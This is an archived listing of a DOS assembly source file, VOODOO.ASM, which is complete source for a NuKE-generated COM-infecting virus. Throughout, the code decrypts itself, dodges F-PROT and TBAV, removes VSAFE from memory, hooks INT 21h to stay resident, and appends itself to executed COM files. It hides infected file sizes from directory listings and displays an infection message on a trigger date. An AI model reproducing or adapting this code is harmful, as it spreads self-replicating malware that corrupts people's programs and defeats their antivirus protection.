home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / NRLGUPD5.ZIP / VOODOO.ZIP / VOODOO.ASM next >
Encoding:
Assembly Source File  |  1995-01-27  |  22.2 KB  |  447 lines

  1. ;┌────────────────────────────────────────────────────────┐
  2. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  3. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  4. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  5. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  6. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  7. ;└────────────────────────────────────────────────────────┘
  8.  
  9. .286
  10. code    segment
  11. assume cs:code,ds:code
  12. org  100h
  13.  
  14. start:  CALL NEXT 
  15.  
  16. NEXT:  
  17.        mov di,sp             ;take the stack pointer location 
  18.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  19.        sub bp,offset next    ;subtract the large code off this code 
  20.                              ;
  21. ;*******************************************************************
  22. ;                      #1 DECRYPT ROUTINE                               
  23. ;*******************************************************************
  24.  
  25. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  26. je crypt2                    ;yes! not decrypt              
  27. ;----------------------------------------------------------                                          
  28. mov cx,offset fin            ;cx = large of virus               
  29. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  30. mov dx,1                     ;dx = value for decrypt          
  31. ;----------------------------------------------------------                                                   
  32. deci:                        ;deci = fuck label!                                    
  33. ;----------------------------------------------------------
  34.  
  35.  inc byte ptr [di]
  36. sub word ptr [di],0381h
  37.  inc di
  38. inc di
  39. ;----------------------------------------------------------                                                
  40. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  41. mov ah,4ch
  42. int 21h
  43. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  44. ;-----------------------------------------------------------                               
  45. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  46. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  47. ;----------------------------------------------------------                                   
  48. loop deci                    ;repeat please!               
  49.                              ;           
  50. ;*****************************************************************
  51. ;                   #2 DECRYPT ROUTINE                                                    
  52. ;*****************************************************************
  53.                               ;    
  54. crypt:                        ;fuck label!                  
  55.                               ;                
  56. mov cx,offset fin             ;cx = large of virus                 
  57. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  58. ;---------------------------------------------------------------                                              
  59. deci2:                        ;              
  60. xor byte ptr cs:[di],1        ;decrytion rutine          
  61. inc di                        ;very simple...            
  62. loop deci2                    ;           
  63. ;---------------------------------------------------------------
  64. crypt2:                       ;fuck label!          
  65.                               ;                  
  66. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  67. INT 21H                       ;for chek "I'm is residet?"   
  68. CMP Bh,0CAH                   ;is equal to CACA?
  69. JE PUM2                       ;yes! jump to runnig program
  70. call action
  71. ;*****************************************************************
  72. ; NRLG FUNCTIONS  (SELECTABLE)
  73. ;*****************************************************************
  74.  
  75.  call ANTI_V
  76. ;****************************************************************
  77. ;               PROCESS TO REMAIN RESIDENT                                                                  
  78. ;****************************************************************   
  79.  
  80. mov   ax,3521h                  
  81. int   21h                        ;store the int 21 vectors 
  82. mov   word ptr [bp+int21],bx     ;in cs:int21
  83. mov   word ptr [bp+int21+2],es   ;
  84. ;---------------------------------------------------------------
  85. push cs                          ; 
  86. pop ax                           ;ax = my actual segment                             
  87. dec ax                           ;dec my segment for look my MCB
  88. mov es,ax                        ;
  89. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  90. ;---------------------------------------------------------------
  91. push cs                          ;   
  92. pop es                           ;   
  93. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  94. sub bx,17 + offset fin           ;and 100H for the PSP total
  95. mov ah,4ah                       ;used memory
  96. int 21h                          ;put the new value to MCB
  97. ;---------------------------------------------------------------
  98. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  99. mov ah,48h                      ;                              
  100. int 21h                         ;request the memory to fuck DOS!                                                 
  101. ;---------------------------------------------------------------
  102. dec ax                          ;ax=new segment 
  103. mov es,ax                       ;ax-1= new segment MCB 
  104. mov byte ptr es:[1],8           ;put '8' in the segment
  105. ;--------------------------------------------------------------                                
  106. inc ax                          ; 
  107. mov es,ax                       ;es = new segment
  108. lea si,[bp + offset start]      ;si = start of virus 
  109. mov di,100h                     ;di = 100H (psp position) 
  110. mov cx,offset fin - start       ;cx = lag of virus
  111. push cs                         ;
  112. pop ds                          ;ds = cs
  113. cld                             ;mov the code
  114. rep movsb                       ;ds:si >> es:di
  115. ;--------------------------------------------------------------
  116. mov dx,offset virus             ;dx = new int21 handler
  117. mov ax,2521h                    ;
  118. push es                         ; 
  119. pop ds                          ; 
  120. int 21h                         ;set the vectors 
  121. ;-------------------------------------------------------------
  122. pum2:                               ;  
  123.                                     ; 
  124. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  125. mov byte ptr cs:[100h],ah           ;first bytes  
  126. mov ax,word ptr [cs:bp + real + 1]  ;
  127. mov word ptr cs:[101h],ax           ;
  128. ;-------------------------------------------------------------
  129. mov ax,100h                         ;
  130. jmp ax                              ;jmp to execute
  131.                                     ;
  132. ;*****************************************************************
  133. ;*             HANDLER FOR THE INT 21H                                       
  134. ;*****************************************************************
  135.                           ;          
  136. VIRUS:                    ;  
  137.                           ;     
  138. cmp ah,4bh                ;is a 4b function? 
  139. je REPRODUCCION           ;yes! jump to reproduce !
  140. cmp ah,11h
  141. je dir
  142. cmp ah,12h
  143. je dir
  144. dirsal:
  145. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  146. jne a3                    ;no! jump to a3
  147. mov bh,0cah               ;yes! put ca in bh
  148. a3:                       ;
  149. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  150. ret                       ;    
  151. make db '[NuKE] N.R.L.G. AZRAEL'
  152. dir:
  153. jmp dir_s
  154. ;-------------------------------------------------------------
  155. REPRODUCCION:              ;       
  156.                            ;
  157. pushf                      ;put the register
  158. pusha                      ;in the stack
  159. push si                    ;
  160. push di                    ;
  161. push bp                    ;
  162. push es                    ;
  163. push ds                    ;
  164. ;-------------------------------------------------------------
  165. push cs                    ;  
  166. pop ds                     ;  
  167. mov ax,3524H               ;get the dos error control                      
  168. int 21h                    ;interupt                        
  169. mov word ptr error,es      ;and put in cs:error                      
  170. mov word ptr error+2,bx    ;            
  171. mov ax,2524H               ;change the dos error control                    
  172. mov dx,offset all          ;for my "trap mask"                      
  173. int 21h                    ;         
  174. ;-------------------------------------------------------------
  175. pop ds                     ;
  176. pop es                     ;restore the registers
  177. pop bp                     ;
  178. pop di                     ;
  179. pop si                     ;
  180. popa                       ;
  181. popf                       ;
  182. ;-------------------------------------------------------------
  183. pushf                      ;put the registers
  184. pusha                      ;     
  185. push si                    ;HEY! AZRAEL IS CRAZY?
  186. push di                    ;PUSH, POP, PUSH, POP
  187. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  188. push es                    ;PURIFY THIS SHIT!
  189. push ds                    ;
  190. ;-------------------------------------------------------------
  191. mov ax,4300h                 ;       
  192. int 21h                      ;get the file     
  193. mov word ptr cs:[attrib],cx  ;atributes   
  194. ;-------------------------------------------------------------
  195. mov ax,4301h                 ;le saco los atributos al        
  196. xor cx,cx                    ;file 
  197. int 21h                      ;
  198. ;-------------------------------------------------------------  
  199. mov ax,3d02h                 ;open the file 
  200. int 21h                      ;for read/write
  201. mov bx,ax                    ;bx=handle
  202. ;-------------------------------------------------------------
  203. mov ax,5700h                ;     
  204. int 21h                     ;get the file date  
  205. mov word ptr cs:[hora],cx   ;put the hour    
  206. mov word ptr cs:[dia],dx    ;put the day    
  207. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  208. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  209. jne seguir                  ;yes! the file is infected!     
  210. jmp cerrar                  ;
  211. ;------------------------------------------------------------
  212. seguir:                     ;     
  213. mov ax,4202h                ;move the pointer to end
  214. call movedor                ;of the file
  215. ;------------------------------------------------------------
  216. push cs                     ;   
  217. pop ds                      ; 
  218. sub ax,3                    ;calculate the 
  219. mov word ptr [cs:largo],ax  ;jmp long
  220. ;-------------------------------------------------------------
  221. mov ax,04200h               ;move the pointer to  
  222. call movedor                ;start of file
  223. ;----------------------------------------------------------                                          
  224. push cs                     ;   
  225. pop ds                      ;read the 3 first bytes  
  226. mov ah,3fh                  ;                           
  227. mov cx,3                    ;
  228. lea dx,[cs:real]            ;put the bytes in cs:[real]
  229. int 21h                     ;
  230. ;----------------------------------------------------------                                          
  231. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  232. jne er1                         ;yes! is a EXE... fuckkk!
  233. ;----------------------------------------------------------
  234. jmp cerrar
  235. er1:
  236. ;----------------------------------------------------------                                          
  237. mov ax,4200h      ;move the pointer                               
  238. call movedor      ;to start fo file
  239. ;----------------------------------------------------------                                          
  240. push cs           ;       
  241. pop ds            ; 
  242. mov ah,40h        ;  
  243. mov cx,1          ;write the JMP
  244. lea dx,[cs:jump]  ;instruccion in the
  245. int 21h           ;fist byte of the file
  246. ;----------------------------------------------------------                                          
  247. mov ah,40h         ;write the value of jmp
  248. mov cx,2           ;in the file 
  249. lea dx,[cs:largo]  ; 
  250. int 21h            ;
  251. ;----------------------------------------------------------                                          
  252. mov ax,04202h      ;move the pointer to 
  253. call movedor       ;end of file
  254. ;----------------------------------------------------------                                          
  255. push cs                     ;        
  256. pop ds                      ;move the code  
  257. push cs                     ;of my virus      
  258. pop es                      ;to cs:end+50     
  259. cld                         ;for encrypt          
  260. mov si,100h                 ;    
  261. mov di,offset fin + 50      ;      
  262. mov cx,offset fin - 100h    ;        
  263. rep movsb                   ;      
  264. ;----------------------------------------------------------                                          
  265. mov cx,offset fin           
  266. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  267. enc:                              ;           
  268. xor byte ptr cs:[di],1            ;encrypt the virus              
  269. inc di                            ;code                   
  270. loop enc                          ;              
  271. ;---------------------------------------------------------
  272. mov cx,offset fin           
  273. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  274. mov dx,1
  275. enc2:                              ;           
  276.  
  277.  add word ptr [di],0381h
  278. dec byte ptr [di]
  279.  inc di
  280. inc di                             ;the virus code                  
  281. loop enc2                          ;              
  282. ;--------------------------------------------
  283. mov ah,40h                       ;  
  284. mov cx,offset fin - offset start ;copy the virus              
  285. mov dx,offset fin + 50           ;to end of file
  286. int 21h                          ;
  287. ;----------------------------------------------------------                                          
  288. cerrar:                          ;
  289.                                  ;restore the       
  290. mov ax,5701h                     ;date and time    
  291. mov cx,word ptr cs:[hora]        ;file   
  292. mov dx,word ptr cs:[dia]         ;     
  293. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  294. int 21h                          ; 
  295. ;----------------------------------------------------------                                          
  296. mov ah,3eh                       ; 
  297. int 21h                          ;close the file
  298. ;----------------------------------------------------------                                          
  299. pop ds                           ;
  300. pop es                           ;restore the 
  301. pop bp                           ;registers
  302. pop di                           ; 
  303. pop si                           ;
  304. popa                             ;
  305. popf                             ;
  306. ;----------------------------------------------------------                                          
  307. pusha                           ;   
  308.                                 ;                                                             
  309. mov ax,4301h                    ;restores the atributes 
  310. mov cx,word ptr cs:[attrib]     ;of the file  
  311. int 21h                         ;   
  312.                                 ;
  313. popa                            ; 
  314. ;----------------------------------------------------------                                          
  315. pushf                           ;                           
  316. pusha                           ; 8-(  = f-prot                       
  317. push si                         ;                       
  318. push di                         ; 8-(  = tbav   
  319. push bp                         ;                       
  320. push es                         ; 8-)  = I'm                        
  321. push ds                         ;                              
  322. ;----------------------------------------------------------                                          
  323. mov ax,2524H                    ;                         
  324. lea bx,error                    ;restore the                         
  325. mov ds,bx                       ;errors handler      
  326. lea bx,error+2                  ;                         
  327. int 21h                         ;                       
  328. ;----------------------------------------------------------                                          
  329. pop ds                          ;
  330. pop es                          ;
  331. pop bp                          ;restore the 
  332. pop di                          ;resgisters
  333. pop si                          ;
  334. popa                            ;
  335. popf                            ;
  336. ;----------------------------------------------------------                                          
  337. JMP A3                          ;jmp to orig. INT 21
  338.                                 ;
  339. ;**********************************************************
  340. ;           SUBRUTINES AREA
  341. ;**********************************************************
  342.                                 ;
  343. movedor:                        ;   
  344.                                 ; 
  345. xor cx,cx                       ;use to move file pointer         
  346. xor dx,dx                       ;       
  347. int 21h                         ;        
  348. ret                             ;        
  349. ;----------------------------------------------------------                                          
  350. all:                            ;  
  351.                                 ; 
  352. XOR AL,AL                       ;use to set 
  353. iret                            ;error flag
  354.  
  355. ;***********************************************************
  356. ;         DATA AREA
  357. ;***********************************************************
  358. largo  dw  ?
  359. jump   db  0e9h
  360. real   db  0cdh,20h,0
  361. hora   dw  ?
  362. dia    dw  ?
  363. attrib dw  ?
  364. int21  dd  ?
  365. error  dd  ?
  366.  
  367.  ;---------------------------------
  368. action:                          ;Call label      
  369. MOV AH,2AH                       ;        
  370. INT 21H                          ;get date           
  371. CMP Dl,byte ptr cs:[action_dia+bp]  ;is equal to my day?                 
  372. JE  cont                         ;nop! fuck ret          
  373. cmp byte ptr cs:[action_dia+bp],32  ;
  374. jne no_day                       ;
  375. cont:                            ; 
  376. cmp dh,byte ptr cs:[action_mes+bp]  ;is equal to my month?            
  377. je set                           ;
  378. cmp byte ptr cs:[action_mes+bp],13  ;
  379. jne NO_DAY                       ;nop! fuck ret           
  380. set:                             ; 
  381. mov AH,9                         ;yeah!!          
  382. MOV DX,OFFSET PAO                ;print my text!         
  383. INT 21H                          ;now!   
  384. INT 20H                          ;an finsh te program        
  385. NO_DAY:                          ;label to incorrect date              
  386. ret                              ;return from call 
  387. ;---------------------------------
  388.  
  389.  
  390. PAO:
  391. DB 10,13,'Congratulations! You Have Been  infected by VooDoo...           Compliments of HeadHunter     ','$'
  392.  
  393. ;---------------------------------
  394. ANTI_V:                          ; 
  395. MOV AX,0FA01H                    ;REMOVE VSAFE FROM MEMORY        
  396. MOV DX,5945H                     ; 
  397. INT 21H                          ;           
  398. ret                              ;
  399. ;---------------------------------
  400.  
  401.  ;*****************************************************
  402. dir_s:                                                               
  403.              pushf                                                         
  404.              push    cs                                                    
  405.              call    a3                      ;Get file Stats                       
  406.              test    al,al                   ;Good FCB?                            
  407.              jnz     no_good                 ;nope                                 
  408.              push    ax                                                 
  409.              push    bx                                                    
  410.              push    es                                                    
  411.              mov     ah,51h                  ;Is this Undocmented? huh...          
  412.              int     21h                                                   
  413.              mov     es,bx                                                 
  414.              cmp     bx,es:[16h]                                           
  415.              jnz     not_infected                        
  416.              mov     bx,dx                                                 
  417.              mov     al,[bx]                                               
  418.              push    ax                                                    
  419.              mov     ah,2fh                   ;Get file DTA                         
  420.              int     21h                                                   
  421.              pop     ax                                                    
  422.              inc     al                                                    
  423.              jnz     fcb_okay                                              
  424.              add     bx,7h                                                 
  425. fcb_okay:    mov     ax,es:[bx+17h]                                   
  426.              and     ax,1fh                   ;UnMask Seconds Field                 
  427.              xor     al,byte ptr cs:fechad                                      
  428.              jnz     not_infected                                            
  429.              and     byte ptr es:[bx+17h],0e0h                            
  430.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  431.              sbb     es:[bx+1fh],ax                                        
  432. not_infected:pop     es                                                    
  433.              pop     bx                                                    
  434.              pop     ax                                                    
  435. no_good:     iret                                                          
  436. ;********************************************************************
  437. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  438. ;*********************************************************************
  439.  
  440.  action_dia Db 06H ;day for the action
  441. action_mes Db 06H ;month for the action
  442. FECHA DW 01eH ;Secon for mark
  443. FECHAd Db 01eH ;Secon for mark dir st
  444. fin:
  445. code ends
  446. end start
  447.